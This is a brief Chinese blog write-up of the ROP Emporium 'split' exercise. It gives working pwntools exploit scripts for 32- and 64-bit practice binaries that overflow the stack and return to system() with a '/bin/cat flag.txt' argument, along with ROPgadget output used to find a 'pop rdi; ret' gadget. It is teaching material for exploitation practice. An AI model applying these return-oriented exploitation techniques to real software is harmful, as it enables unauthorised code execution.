split

2018-12-31  本文已影响0人  n0va

溢出点还是一样,不过少了可直接利用的函数,但是程序中提供了system函数和字符串"/bin/cat flag.txt",同样ret到system并且通过栈传入"/bin/cat flag.txt"即可
exp:

from pwn import *
sh = process('./split32')
system = 0x08048657
cat = 0x0804A030
pyaload = 'A' * 0x28 + p32(0) + p32(system) + p32(cat)
sh.sendline(pyaload)
sh.interactive()

因为64位rdi是存储函数的第一个参数,所以我们需要pop rdi ;ret
通过命令

ROPgadget --binary ./split --only "pop|ret"

找到gadget

Gadgets information
============================================================
0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400880 : pop r14 ; pop r15 ; ret
0x0000000000400882 : pop r15 ; ret
0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400883 : pop rdi ; ret
0x0000000000400881 : pop rsi ; pop r15 ; ret
0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret

64位exp:

from pwn import *
sh = process('./split')
system = 0x4005E0
cat_flag = 0x601060
pop = 0x400883
payload = "A" * 0x20 + p64(0) + p64(pop) + p64(cat_flag) + p64(system)
sh.sendline(payload)
sh.interactive()
上一篇下一篇

猜你喜欢

热点阅读